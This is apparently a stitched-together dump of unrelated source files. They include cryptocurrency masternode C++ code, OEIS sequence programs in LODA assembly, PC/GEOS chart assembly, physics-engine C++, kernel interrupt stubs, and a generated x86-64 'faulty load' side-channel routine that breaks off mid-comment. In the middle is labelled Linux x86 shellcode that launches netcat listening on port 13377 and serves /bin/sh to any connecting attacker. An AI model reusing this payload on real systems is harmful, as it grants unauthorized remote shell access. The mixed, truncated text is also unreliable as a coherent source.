uint256 hashBlock = 0; CTransaction tx2; GetTransaction(vin.prevout.hash, tx2, hashBlock, true); BlockMap::iterator mi = mapBlockIndex.find(hashBlock); if (mi != mapBlockIndex.end() && (*mi).second) { CBlockIndex* pMNIndex = (*mi).second; // block for 1000 ATEC tx -> 1 confirmation CBlockIndex* pConfIndex = chainActive[pMNIndex->nHeight + MASTERNODE_MIN_CONFIRMATIONS - 1]; // block where tx got MASTERNODE_MIN_CONFIRMATIONS if (pConfIndex->GetBlockTime() > sigTime) { LogPrint("masternode","mnb - Bad sigTime %d for Masternode %s (%i conf block is at %d)\n", sigTime, vin.prevout.hash.ToString(), MASTERNODE_MIN_CONFIRMATIONS, pConfIndex->GetBlockTime()); return false; } } LogPrint("masternode","mnb - Got NEW Masternode entry - %s - %lli \n", vin.prevout.hash.ToString(), sigTime); CMasternode mn(*this); mnodeman.Add(mn); // if it matches our Masternode privkey, then we've been remotely activated if (pubKeyMasternode == activeMasternode.pubKeyMasternode && protocolVersion == PROTOCOL_VERSION) { activeMasternode.EnableHotColdMasterNode(vin, addr); } bool isLocal = addr.IsRFC1918() || addr.IsLocal(); if (Params().NetworkID() == CBaseChainParams::REGTEST) isLocal = false; if (!isLocal) Relay(); return true; } void CMasternodeBroadcast::Relay() { CInv inv(MSG_MASTERNODE_ANNOUNCE, GetHash()); RelayInv(inv); } bool CMasternodeBroadcast::Sign(CKey& keyCollateralAddress) { std::string errorMessage; sigTime = GetAdjustedTime(); std::string strMessage; if(chainActive.Height() < Params().Zerocoin_Block_V2_Start()) strMessage = GetOldStrMessage(); else strMessage = GetNewStrMessage(); if (!obfuScationSigner.SignMessage(strMessage, errorMessage, sig, keyCollateralAddress)) return error("CMasternodeBroadcast::Sign() - Error: %s", errorMessage); if (!obfuScationSigner.VerifyMessage(pubKeyCollateralAddress, sig, strMessage, errorMessage)) return error("CMasternodeBroadcast::Sign() - Error: %s", errorMessage); return true; } bool CMasternodeBroadcast::VerifySignature() { std::string errorMessage; if(!obfuScationSigner.VerifyMessage(pubKeyCollateralAddress, sig, GetNewStrMessage(), errorMessage) && !obfuScationSigner.VerifyMessage(pubKeyCollateralAddress, sig, GetOldStrMessage(), errorMessage)) return error("CMasternodeBroadcast::VerifySignature() - Error: %s", errorMessage); return true; } std::string CMasternodeBroadcast::GetOldStrMessage() { std::string strMessage; std::string vchPubKey(pubKeyCollateralAddress.begin(), pubKeyCollateralAddress.end()); std::string vchPubKey2(pubKeyMasternode.begin(), pubKeyMasternode.end()); strMessage = addr.ToString() + boost::lexical_cast<std::string>(sigTime) + vchPubKey + vchPubKey2 + boost::lexical_cast<std::string>(protocolVersion); return strMessage; } std:: string CMasternodeBroadcast::GetNewStrMessage() { std::string strMessage; strMessage = addr.ToString() + boost::lexical_cast<std::string>(sigTime) + pubKeyCollateralAddress.GetID().ToString() + pubKeyMasternode.GetID().ToString() + boost::lexical_cast<std::string>(protocolVersion); return strMessage; } CMasternodePing::CMasternodePing() { vin = CTxIn(); blockHash = uint256(0); sigTime = 0; vchSig = std::vector<unsigned char>(); } CMasternodePing::CMasternodePing(CTxIn& newVin) { vin = newVin; blockHash = chainActive[chainActive.Height() - 12]->GetBlockHash(); sigTime = GetAdjustedTime(); vchSig = std::vector<unsigned char>(); } bool CMasternodePing::Sign(CKey& keyMasternode, CPubKey& pubKeyMasternode) { std::string errorMessage; std::string strMasterNodeSignMessage; sigTime = GetAdjustedTime(); std::string strMessage = vin.ToString() + blockHash.ToString() + boost::lexical_cast<std::string>(sigTime); if (!obfuScationSigner.SignMessage(strMessage, errorMessage, vchSig, keyMasternode)) { LogPrint("masternode","CMasternodePing::Sign() - Error: %s\n", errorMessage); return false; } if (!obfuScationSigner.VerifyMessage(pubKeyMasternode, vchSig, strMessage, errorMessage)) { LogPrint("masternode","CMasternodePing::Sign() - Error: %s\n", errorMessage); return false; } return true; } bool CMasternodePing::VerifySignature(CPubKey& pubKeyMasternode, int &nDos) { std::string strMessage = vin.ToString() + blockHash.ToString() + boost::lexical_cast<std::string>(sigTime); std::string errorMessage = ""; if(!obfuScationSigner.VerifyMessage(pubKeyMasternode, vchSig, strMessage, errorMessage)){ nDos = 33; return error("CMasternodePing::VerifySignature - Got bad Masternode ping signature %s Error: %s", vin.ToString(), errorMessage); } return true; } bool CMasternodePing::CheckAndUpdate(int& nDos, bool fRequireEnabled, bool fCheckSigTimeOnly) { if (sigTime > GetAdjustedTime() + 60 * 60) { LogPrint("masternode","CMasternodePing::CheckAndUpdate - Signature rejected, too far into the future %s\n", vin.prevout.hash.ToString()); nDos = 1; return false; } if (sigTime <= GetAdjustedTime() - 60 * 60) { LogPrint("masternode","CMasternodePing::CheckAndUpdate - Signature rejected, too far into the past %s - %d %d \n", vin.prevout.hash.ToString(), sigTime, GetAdjustedTime()); nDos = 1; return false; } if(fCheckSigTimeOnly) { CMasternode* pmn = mnodeman.Find(vin); if(pmn) return VerifySignature(pmn->pubKeyMasternode, nDos); return true; } LogPrint("masternode", "CMasternodePing::CheckAndUpdate - New Ping - %s - %s - %lli\n", GetHash().ToString(), blockHash.ToString(), sigTime); // see if we have this Masternode CMasternode* pmn = mnodeman.Find(vin); if (pmn != NULL && pmn->protocolVersion >= masternodePayments.GetMinMasternodePaymentsProto()) { if (fRequireEnabled && !pmn->IsEnabled()) return false; // LogPrint("masternode","mnping - Found corresponding mn for vin: %s\n", vin.ToString()); // update only if there is no known ping for this masternode or // last ping was more then MASTERNODE_MIN_MNP_SECONDS-60 ago comparing to this one if (!pmn->IsPingedWithin(MASTERNODE_MIN_MNP_SECONDS - 60, sigTime)) { if (!VerifySignature(pmn->pubKeyMasternode, nDos)) return false; BlockMap::iterator mi = mapBlockIndex.find(blockHash); if (mi != mapBlockIndex.end() && (*mi).second) { if ((*mi).second->nHeight < chainActive.Height() - 24) { LogPrint("masternode","CMasternodePing::CheckAndUpdate - Masternode %s block hash %s is too old\n", vin.prevout.hash.ToString(), blockHash.ToString()); // Do nothing here (no Masternode update, no mnping relay) // Let this node to be visible but fail to accept mnping return false; } } else { if (fDebug) LogPrint("masternode","CMasternodePing::CheckAndUpdate - Masternode %s block hash %s is unknown\n", vin.prevout.hash.ToString(), blockHash.ToString()); // maybe we stuck so we shouldn't ban this node, just fail to accept it // TODO: or should we also request this block? return false; } pmn->lastPing = *this; //mnodeman.mapSeenMasternodeBroadcast.lastPing is probably outdated, so we'll update it CMasternodeBroadcast mnb(*pmn); uint256 hash = mnb.GetHash(); if (mnodeman.mapSeenMasternodeBroadcast.count(hash)) { mnodeman.mapSeenMasternodeBroadcast[hash].lastPing = *this; } pmn->Check(true); if (!pmn->IsEnabled()) return false; LogPrint("masternode", "CMasternodePing::CheckAndUpdate - Masternode ping accepted, vin: %s\n", vin.prevout.hash.ToString()); Relay(); return true; } LogPrint("masternode", "CMasternodePing::CheckAndUpdate - Masternode ping arrived too early, vin: %s\n", vin.prevout.hash.ToString()); //nDos = 1; //disable, this is happening frequently and causing banned peers return false; } LogPrint("masternode", "CMasternodePing::CheckAndUpdate - Couldn't find compatible Masternode entry, vin: %s\n", vin.prevout.hash.ToString()); return false; } void CMasternodePing::Relay() { CInv inv(MSG_MASTERNODE_PING, GetHash()); RelayInv(inv); }
; A003453: Number of nonequivalent dissections of an n-gon into 3 polygons by nonintersecting diagonals up to rotation and reflection. ; 1,3,6,11,17,26,36,50,65,85,106,133,161,196,232,276,321,375,430,495,561,638,716,806,897,1001,1106,1225,1345,1480,1616,1768,1921,2091,2262,2451,2641,2850,3060,3290,3521,3773,4026,4301,4577,4876,5176,5500,5825,6175,6526,6903,7281,7686,8092,8526,8961,9425,9890,10385,10881,11408,11936,12496,13057,13651,14246,14875,15505,16170,16836,17538,18241,18981,19722,20501,21281,22100,22920,23780,24641,25543,26446,27391,28337,29326,30316,31350,32385,33465,34546,35673,36801,37976,39152,40376,41601,42875,44150,45475,46801,48178,49556,50986,52417,53901,55386,56925,58465,60060,61656,63308,64961,66671,68382,70151,71921,73750,75580,77470,79361,81313,83266,85281,87297,89376,91456,93600,95745,97955,100166,102443,104721,107066,109412,111826,114241,116725,119210,121765,124321,126948,129576,132276,134977,137751,140526,143375,146225,149150,152076,155078,158081,161161,164242,167401,170561,173800,177040,180360,183681,187083,190486,193971,197457,201026,204596,208250,211905,215645,219386,223213,227041,230956,234872,238876,242881,246975,251070,255255,259441,263718,267996,272366,276737,281201,285666,290225,294785,299440,304096,308848,313601,318451,323302,328251,333201,338250,343300,348450,353601,358853,364106,369461,374817,380276,385736,391300,396865,402535,408206,413983,419761,425646,431532,437526,443521,449625,455730,461945,468161,474488,480816,487256,493697,500251,506806,513475,520145,526930,533716,540618,547521,554541,561562,568701,575841,583100,590360,597740,605121,612623,620126,627751,635377,643126,650876,658750,666625,674625 lpb $0,1 sub $0,1 add $1,1 add $3,1 add $2,$3 add $1,$2 trn $2,$0 lpe add $1,1
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Copyright (c) GeoWorks 1992 -- All Rights Reserved PROJECT: PC GEOS MODULE: FILE: cgroupGrObj.asm AUTHOR: Chris Boyke METHODS: Name Description ---- ----------- FUNCTIONS: Scope Name Description ----- ---- ----------- REVISION HISTORY: Name Date Description ---- ---- ----------- CDB 2/18/92 Initial version. DESCRIPTION: $Id: cgroupGrObj.asm,v 1.1 97/04/04 17:45:51 newdeal Exp $ %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% ChartGroupGrObjMoved %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% DESCRIPTION: Deal with the fact that the grobj has moved PASS: *ds:si = ChartGroupClass object ds:di = ChartGroupClass instance data es = Segment of ChartGroupClass. ^lcx:dx = OD of grobj RETURN: nothing DESTROYED: nothing REGISTER/STACK USAGE: PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- CDB 2/21/92 Initial version. %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ ChartGroupGrObjMoved method dynamic ChartGroupClass, MSG_CHART_OBJECT_GROBJ_MOVED uses ax,cx,dx,bp locals local RectDWord .enter push bp, si ; local frame, group ; chunk handle ; Get the GrObj's new position movOD bxsi, cxdx mov ax, MSG_GO_GET_DW_PARENT_BOUNDS lea bp, locals mov di, mask MF_CALL or mask MF_FIXUP_DS call ObjMessage pop bp, si DerefChartObject ds, si, di movdw ds:[di].CGI_docPosition.PD_x, locals.RD_left, ax movdw ds:[di].CGI_docPosition.PD_y, locals.RD_top, ax mov ax, MSG_CHART_OBJECT_MARK_TREE_INVALID mov cl, mask COS_IMAGE_INVALID call ChartCompCallChildren mov ax, MSG_CHART_OBJECT_MARK_INVALID mov cl, mask COS_IMAGE_PATH call ObjCallInstanceNoLock .leave ret ChartGroupGrObjMoved endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% ChartGroupGrObjDeleted %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% DESCRIPTION: Nuke everything in sight. PASS: *ds:si = ChartGroupClass object ds:di = ChartGroupClass instance data es = segment of ChartGroupClass RETURN: bp - non-zero to really delete the object DESTROYED: ax,cx,dx REGISTER/STACK USAGE: PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- cdb 7/ 8/92 Initial version. %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ ChartGroupGrObjDeleted method dynamic ChartGroupClass, MSG_CHART_OBJECT_GROBJ_DELETED .enter ; ; Free our grobj OD, as it's no longer valid. ; clrdw ds:[di].COI_grobj mov ax, MSG_CHART_GROUP_DESTROY call ObjCallInstanceNoLock mov bp, 1 ; really delete the object .leave ret ChartGroupGrObjDeleted endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% ChartGroupDestroy %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% DESCRIPTION: Destroy the chart group, and all its children & grobjes PASS: *ds:si - ChartGroupClass object ds:di - ChartGroupClass instance data es - segment of ChartGroupClass RETURN: nothing DESTROYED: ax REGISTER/STACK USAGE: PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- chrisb 2/ 3/93 Initial version. %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ ChartGroupDestroy method dynamic ChartGroupClass, MSG_CHART_GROUP_DESTROY uses cx,dx,bp .enter mov ax, MSG_CHART_BODY_NOTIFY_CHART_DELETED mov cx, ds:[LMBH_handle] mov dx, si call UtilCallChartBody ; ; Nuke all the grobjes ; mov ax, MSG_CHART_OBJECT_CLEAR_ALL_GROBJES call ObjCallInstanceNoLock ; ; Free the block ; mov ax, MSG_META_BLOCK_FREE call ObjCallInstanceNoLock .leave ret ChartGroupDestroy endm
; A164535: a(n) = 8*a(n-1) - 14*a(n-2) for n > 1; a(0) = 3, a(1) = 20. ; 3,20,118,664,3660,19984,108632,589280,3193392,17297216,93670240,507200896,2746223808,14868977920,80504690048,435871829504,2359908975360,12777066189824,69177803863552,374543504250880,2027858779917312,10979261179826176,59444066519767040,321842875640569856,1742526073847820288,9434408331814584320,51079901620647190528,276557496319773343744,1497341347869126082560,8106925834476181848064,43892627805641689628672,237644060762466971156480,1286655696820752114450432,6966228723891479319412736 add $0,1 mov $1,4 mov $2,1 lpb $0 sub $0,1 sub $1,$2 mul $1,7 add $2,$1 mul $1,2 lpe div $1,14 mov $0,$1
; A067970: First differences of A014076, the odd nonprimes. ; Submitted by Jon Maiga ; 8,6,6,4,2,6,2,4,6,4,2,4,2,6,2,4,6,2,4,4,2,4,2,2,4,6,6,4,2,2,2,2,2,4,4,2,6,2,2,2,6,2,4,2,4,4,2,4,2,6,2,2,2,6,6,2,2,2,2,4,2,2,2,2,4,6,4,2,6,2,2,2,4,2,4,2,4,2,6,2,4,6,2,2,2,4,2,2,2,2,2,4,6,4,2,2,2,2,2,4 seq $0,196274 ; Half of the gaps A067970 between odd nonprimes A014076. mul $0,2
; A008402: Crystal ball sequence for {E_6}* lattice. ; 1,55,883,6085,26461,86491,232975,545833,1151065,2235871,4065931,7004845,11535733,18284995,28048231,41818321,60815665,86520583,120707875,165483541,223323661,297115435,390200383,506419705,650161801,826411951,1040804155,1299675133,1610120485,1980053011,2418263191,2934481825,3539444833,4244960215,5063977171,6010657381,7100448445,8350159483,9778038895,11403854281,13248974521,15336454015,17691119083,20339656525,23310704341,26634944611,30345198535,34476523633,39066313105,44154397351,49783147651,55997582005,62845473133,70377458635,78647153311,87711263641,97629704425,108465717583,120285993115,133160792221,147164072581,162373615795,178871156983,196742516545,216077734081,236971204471,259521816115,283833091333,310013328925,338175748891,368438639311,400925505385,435765220633,473092180255,513046456651,555773957101,601426583605,650162394883,702145770535,757547577361,816545337841,879323400775,946073114083,1016992999765,1092288931021,1172174311531,1256870256895,1346605778233,1441617967945,1542152187631,1648462258171,1760810651965,1879468687333,2004716725075,2136844367191,2276150657761,2422944285985,2577543791383,2740277771155,2911485089701,3091515090301,3280727808955,3479494190383,3688196306185,3907227575161,4136992985791,4377909320875,4630405384333,4894922230165,5171913393571,5461845124231,5765196621745,6082460273233,6414141893095,6760760964931,7122850885621,7500959211565,7895647907083,8307493594975,8737087809241,9185037249961,9651964040335,10138505985883,10645316835805,11173066546501,11722441547251,12294145008055,12888897109633,13507435315585,14150514646711,14818907957491,15513406214725,16234818778333,16983973684315,17761717929871,18568917760681,19406458960345,20275247141983,21176208041995,22110287815981,23078453336821,24081692494915,25121014500583,26197450188625,27312052325041,28465895915911,29660078518435,30895720554133,32173965624205,33495980827051,34862957077951,36276109430905,37736677402633,39245925298735,40805142542011,42415644002941,44078770332325,45795888296083,47568391112215,49397698789921,51285258470881,53232544772695,55241060134483,57312335164645,59447928990781,61649429611771,63918454252015,66256649717833,68665692756025,71147290414591,73703180405611,76335131470285,79044943746133,81834449136355,84705511681351,87660027932401,90699927327505,93827172569383,97043760005635,100351720011061,103753117372141,107250051673675,110844657687583,114539105763865,118335602223721,122236389754831,126243747808795,130359993000733,134587479511045,138928599489331,143385783460471,147961500732865,152658259808833,157478608797175,162425135827891,167500469469061,172707279145885,178048275561883,183526211122255,189143880359401,194904120360601,200809811197855,206863876359883,213069283186285,219429043303861,225946213065091,232623893988775,239465233202833,246473423889265,253651705731271,261003365362531,268531736818645,276240201990733,284132191081195,292211183061631,300480706132921,308944338187465,317605707273583,326468492062075,335536422314941,344813279356261,354302896545235,364009159751383,373936007831905,384087433111201,394467481862551,405080254791955,415929907524133,427020651090685,438356752420411,449942534831791,461782378527625,473880721091833,486242057988415,498870943062571,511771989043981,524949868052245,538409312104483,552155113625095,566192125957681,580525263879121,595159504115815,610099885862083,625351511300725,640919546125741,656809220067211,673025827418335,689574727564633,706461345515305,723691172436751 mov $3,2 mov $7,$0 lpb $0 sub $0,1 add $1,3 lpe add $1,$3 sub $1,1 mov $4,$7 mov $6,$7 lpb $4 sub $4,1 add $5,$6 lpe mov $2,9 mov $6,$5 lpb $2 add $1,$6 sub $2,1 lpe mov $4,$7 mov $5,0 lpb $4 sub $4,1 add $5,$6 lpe mov $2,15 mov $6,$5 lpb $2 add $1,$6 sub $2,1 lpe mov $4,$7 mov $5,0 lpb $4 sub $4,1 add $5,$6 lpe mov $2,15 mov $6,$5 lpb $2 add $1,$6 sub $2,1 lpe mov $4,$7 mov $5,0 lpb $4 sub $4,1 add $5,$6 lpe mov $2,9 mov $6,$5 lpb $2 add $1,$6 sub $2,1 lpe mov $4,$7 mov $5,0 lpb $4 sub $4,1 add $5,$6 lpe mov $2,3 mov $6,$5 lpb $2 add $1,$6 sub $2,1 lpe
; linux x86 nc -lvve/bin/sh -p13377 shellcode ; This shellcode will listen on port 13377 using netcat and give /bin/sh to connecting attacker ; Author: Anonymous ; Site: http://chaossecurity.wordpress.com/ section .text global _start _start: xor eax,eax xor edx,edx push 0x37373333 push 0x3170762d mov edx, esp push eax push 0x68732f6e push 0x69622f65 push 0x76766c2d mov ecx,esp push eax push 0x636e2f2f push 0x2f2f2f2f push 0x6e69622f mov ebx, esp push eax push edx push ecx push ebx xor edx,edx mov ecx,esp mov al,11 int 0x80
; A258054: Circle of fifths cycle (counterclockwise). ; 1,6,11,4,9,2,7,12,5,10,3,8,1,6,11,4,9,2,7,12,5,10,3,8,1,6,11,4,9,2,7,12,5,10,3,8,1,6,11,4,9,2,7,12,5,10,3,8,1,6,11,4,9,2,7,12,5,10,3,8,1,6,11,4,9,2,7,12,5,10,3,8,1,6,11,4,9,2,7,12,5,10,3,8,1,6,11,4,9,2,7,12,5,10,3,8,1,6,11,4 mul $0,5 mod $0,12 add $0,1
/* * Copyright (c) 2016-2019 Irlan Robson * * This software is provided 'as-is', without any express or implied * warranty. In no event will the authors be held liable for any damages * arising from the use of this software. * Permission is granted to anyone to use this software for any purpose, * including commercial applications, and to alter it and redistribute it * freely, subject to the following restrictions: * 1. The origin of this software must not be misrepresented; you must not * claim that you wrote the original software. If you use this software * in a product, an acknowledgment in the product documentation would be * appreciated but is not required. * 2. Altered source versions must be plainly marked as such, and must not be * misrepresented as being the original software. * 3. This notice may not be removed or altered from any source distribution. */ #include <bounce/dynamics/contacts/hull_capsule_contact.h> #include <bounce/collision/shapes/hull_shape.h> #include <bounce/collision/shapes/capsule_shape.h> #include <bounce/common/memory/block_allocator.h> b3Contact* b3HullAndCapsuleContact::Create(b3Fixture* fixtureA, b3Fixture* fixtureB, b3BlockAllocator* allocator) { void* mem = allocator->Allocate(sizeof(b3HullAndCapsuleContact)); return new (mem) b3HullAndCapsuleContact(fixtureA, fixtureB); } void b3HullAndCapsuleContact::Destroy(b3Contact* contact, b3BlockAllocator* allocator) { ((b3HullAndCapsuleContact*)contact)->~b3HullAndCapsuleContact(); allocator->Free(contact, sizeof(b3HullAndCapsuleContact)); } b3HullAndCapsuleContact::b3HullAndCapsuleContact(b3Fixture* fixtureA, b3Fixture* fixtureB) : b3ConvexContact(fixtureA, fixtureB) { B3_ASSERT(fixtureA->GetType() == b3Shape::e_hull); B3_ASSERT(fixtureB->GetType() == b3Shape::e_capsule); } void b3HullAndCapsuleContact::Evaluate(b3Manifold& manifold, const b3Transform& xfA, const b3Transform& xfB) { b3CollideHullAndCapsule(manifold, xfA, (b3HullShape*)GetFixtureA()->GetShape(), xfB, (b3CapsuleShape*)GetFixtureB()->GetShape()); }
; A111282: Number of permutations avoiding the patterns {1432,2431,3412,3421,4132,4231,4312,4321}; number of strong sorting class based on 1432. ; 1,2,6,16,42,110,288,754,1974,5168,13530,35422,92736,242786,635622,1664080,4356618,11405774,29860704,78176338,204668310,535828592,1402817466,3672623806,9615053952,25172538050,65902560198,172535142544,451702867434,1182573459758,3096017511840,8105479075762,21220419715446,55555780070576,145446920496282,380784981418270,996908023758528,2609939089857314,6832909245813414 mov $2,2 lpb $0,1 sub $0,1 add $1,$2 add $2,$1 lpe trn $1,1 add $1,1
[extern isr_handler] [extern irq_handler] ; Common Interrupt Service Routine code isr_common_stub: ; 1.Save CPU state pusha ; Pushes edi, esi, ebp, esp, ebx, edx, ecx, eax mov ax, ds ; Lower 16-bits of eax = ds. push eax ; Save the data segment descriptor. mov ax, 0x10 ; load the Kernel data segment descriptor. mov ds, ax mov es, ax mov fs, ax mov gs, ax ; 2. Call C handler call isr_handler ; 3. Restore State pop eax ; reload the original data segment descriptor. mov ds, ax mov es, ax mov fs, ax mov gs, ax popa add esp, 8 ; Cleans up the pushed error code and pushed ISR number iret ; Pops cs, the flags register(EFLAGS), ip from stack and resumes teh routine that was ; interrupted. ; Common IRQ code. Identiacl to ISR code except for the 'call' ; and the 'pop ebx' irq_common_stub: pusha mov ax, ds push eax mov ax, 0x10 mov ds, ax mov es, ax mov fs, ax mov gs, ax call irq_handler pop ebx mov ds, bx mov es, bx mov fs, bx mov gs, bx popa add esp, 8 sti iret ; ISRs global isr0 global isr1 global isr2 global isr3 global isr4 global isr5 global isr6 global isr7 global isr8 global isr9 global isr10 global isr11 global isr12 global isr13 global isr14 global isr15 global isr16 global isr17 global isr18 global isr19 global isr20 global isr21 global isr22 global isr23 global isr24 global isr25 global isr26 global isr27 global isr28 global isr29 global isr30 global isr31 ; IRQs global irq0 global irq1 global irq2 global irq3 global irq4 global irq5 global irq6 global irq7 global irq8 global irq9 global irq10 global irq11 global irq12 global irq13 global irq14 global irq15 ; We don't get any information about what iterrupt was called when our handler is run. ; We can't have just one common handler, so we write different handler for each interrupt we want ; handle. ; We do this by, pushing the interrupt number onto the stack, and call a common handler funciton. ; Some interrupts also push an error code onto the stack. We can't call a common function without ; a common stack frame, so for those that don't push error code, we push a dummy one. ; Intel Manual v3, page 188, Table 6-1. tells us that only 8, 10-14 push error codes. ; Rest would require a dummy error code. ; 0: Divide By Zero Exception isr0: push byte 0 push byte 0 jmp isr_common_stub ; 1: Debug Exception isr1: push byte 0 push byte 1 jmp isr_common_stub ; 2: Non Maskable Interrupt Exception isr2: push byte 0 push byte 2 jmp isr_common_stub ; 3: Int 3 Exception isr3: push byte 0 push byte 3 jmp isr_common_stub ; 4: INTO Exception isr4: push byte 0 push byte 4 jmp isr_common_stub ; 5: Out of Bounds Exception isr5: push byte 0 push byte 5 jmp isr_common_stub ; 6: Invalid Opcode Exception isr6: push byte 0 push byte 6 jmp isr_common_stub ; 7: Coprocessor Not Available Exception isr7: push byte 0 push byte 7 jmp isr_common_stub ; 8: Double Fault Exception (With Error Code!) isr8: push byte 8 jmp isr_common_stub ; 9: Coprocessor Segment Overrun Exception isr9: push byte 0 push byte 9 jmp isr_common_stub ; 10: Bad TSS Exception (With Error Code!) isr10: push byte 10 jmp isr_common_stub ; 11: Segment Not Present Exception (With Error Code!) isr11: push byte 11 jmp isr_common_stub ; 12: Stack Fault Exception (With Error Code!) isr12: push byte 12 jmp isr_common_stub ; 13: General Protection Fault Exception (With Error Code!) isr13: push byte 13 jmp isr_common_stub ; 14: Page Fault Exception (With Error Code!) isr14: push byte 14 jmp isr_common_stub ; 15: Reserved Exception isr15: push byte 0 push byte 15 jmp isr_common_stub ; 16: Floating Point Exception isr16: push byte 0 push byte 16 jmp isr_common_stub ; 17: Alignment Check Exception isr17: push byte 0 push byte 17 jmp isr_common_stub ; 18: Machine Check Exception isr18: push byte 0 push byte 18 jmp isr_common_stub ; 19: SIMD floating point isr19: push byte 0 push byte 19 jmp isr_common_stub ; 20: Reserved isr20: push byte 0 push byte 20 jmp isr_common_stub ; 21: Reserved isr21: push byte 0 push byte 21 jmp isr_common_stub ; 22: Reserved isr22: push byte 0 push byte 22 jmp isr_common_stub ; 23: Reserved isr23: push byte 0 push byte 23 jmp isr_common_stub ; 24: Reserved isr24: push byte 0 push byte 24 jmp isr_common_stub ; 25: Reserved isr25: push byte 0 push byte 25 jmp isr_common_stub ; 26: Reserved isr26: push byte 0 push byte 26 jmp isr_common_stub ; 27: Reserved isr27: push byte 0 push byte 27 jmp isr_common_stub ; 28: Reserved isr28: push byte 0 push byte 28 jmp isr_common_stub ; 29: Reserved isr29: push byte 0 push byte 29 jmp isr_common_stub ; 30: Reserved isr30: push byte 0 push byte 30 jmp isr_common_stub ; 31: Reserved isr31: push byte 0 push byte 31 jmp isr_common_stub ; IRQ handlers irq0: push byte 0 push byte 32 jmp irq_common_stub irq1: push byte 1 push byte 33 jmp irq_common_stub irq2: push byte 2 push byte 34 jmp irq_common_stub irq3: push byte 3 push byte 35 jmp irq_common_stub irq4: push byte 4 push byte 36 jmp irq_common_stub irq5: push byte 5 push byte 37 jmp irq_common_stub irq6: push byte 6 push byte 38 jmp irq_common_stub irq7: push byte 7 push byte 39 jmp irq_common_stub irq8: push byte 8 push byte 40 jmp irq_common_stub irq9: push byte 9 push byte 41 jmp irq_common_stub irq10: push byte 10 push byte 42 jmp irq_common_stub irq11: push byte 11 push byte 43 jmp irq_common_stub irq12: push byte 12 push byte 44 jmp irq_common_stub irq13: push byte 13 push byte 45 jmp irq_common_stub irq14: push byte 14 push byte 46 jmp irq_common_stub irq15: push byte 15 push byte 47 jmp irq_common_stub
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r15 push %rax push %rbx push %rcx push %rdi push %rsi lea addresses_WC_ht+0x419c, %rsi lea addresses_D_ht+0x10f9c, %rdi nop nop nop nop nop dec %r15 mov $79, %rcx rep movsl nop dec %rax lea addresses_D_ht+0xd41c, %rax nop nop nop nop cmp %r10, %r10 mov $0x6162636465666768, %r15 movq %r15, %xmm7 movups %xmm7, (%rax) nop nop mfence lea addresses_WT_ht+0xf1a6, %rdi nop nop nop nop sub %r10, %r10 movb $0x61, (%rdi) nop nop sub $23280, %rsi lea addresses_WT_ht+0x379c, %rcx xor %r15, %r15 mov (%rcx), %r10w cmp $13717, %rsi lea addresses_D_ht+0x8088, %rdi add %r15, %r15 mov $0x6162636465666768, %r10 movq %r10, %xmm6 vmovups %ymm6, (%rdi) nop nop nop xor %rsi, %rsi lea addresses_WC_ht+0x2f1c, %r15 nop and %rbx, %rbx mov $0x6162636465666768, %rdi movq %rdi, %xmm1 vmovups %ymm1, (%r15) nop nop nop xor %r10, %r10 pop %rsi pop %rdi pop %rcx pop %rbx pop %rax pop %r15 pop %r10 ret .global s_faulty_load s_faulty_load: push %r12 push %r14 push %r9 push %rbx push %rcx push %rdi push %rdx push %rsi // Load lea addresses_UC+0x1d4f8, %rdi nop nop cmp %rcx, %rcx mov (%rdi), %rbx nop dec %r9 // Load lea addresses_WC+0x47dc, %rbx and %r12, %r12 mov (%rbx), %rcx nop nop nop sub %rcx, %rcx // Store lea addresses_A+0x15f9c, %rcx nop cmp $51387, %r14 movb $0x51, (%rcx) nop nop xor %r9, %r9 // REPMOV lea addresses_A+0x1179c, %rsi lea addresses_A+0xc79c, %rdi nop nop nop nop nop add $45843, %r9 mov $49, %rcx rep movsq nop nop nop nop nop xor $55206, %rsi // Store lea addresses_PSE+0x11d1c, %rbx nop nop nop sub $30622, %rcx movw $0x5152, (%rbx) nop nop nop and $44676, %rsi // Store lea addresses_RW+0x6c1a, %r9 nop and %rbx, %rbx movw $0x5152, (%r9) nop nop add $53413, %rdi // Load lea addresses_RW+0x4354, %rdi nop nop nop nop inc %rdx movups (%rdi), %xmm7 vpextrq $1, %xmm7, %rcx nop nop nop nop inc %r14 // Load mov $0x852, %rdi nop nop add %rsi, %rsi movups (%rdi), %xmm3 vpextrq $1, %xmm3, %r12 nop nop nop nop xor $2038, %r14 // Faulty Load lea addresses_RW+0x1df9c, %rdx nop nop nop nop nop add %r14, %r14 mov (%rdx), %si lea oracles, %r9 and $0xff, %rsi shlq $12, %rsi mov (%r9,%rsi,1), %rsi pop %rsi pop %rdx pop %rdi pop %rcx pop %rbx pop %r9 pop %r14 pop %r12 ret /* <gen_faulty_load> [REF] {'src': 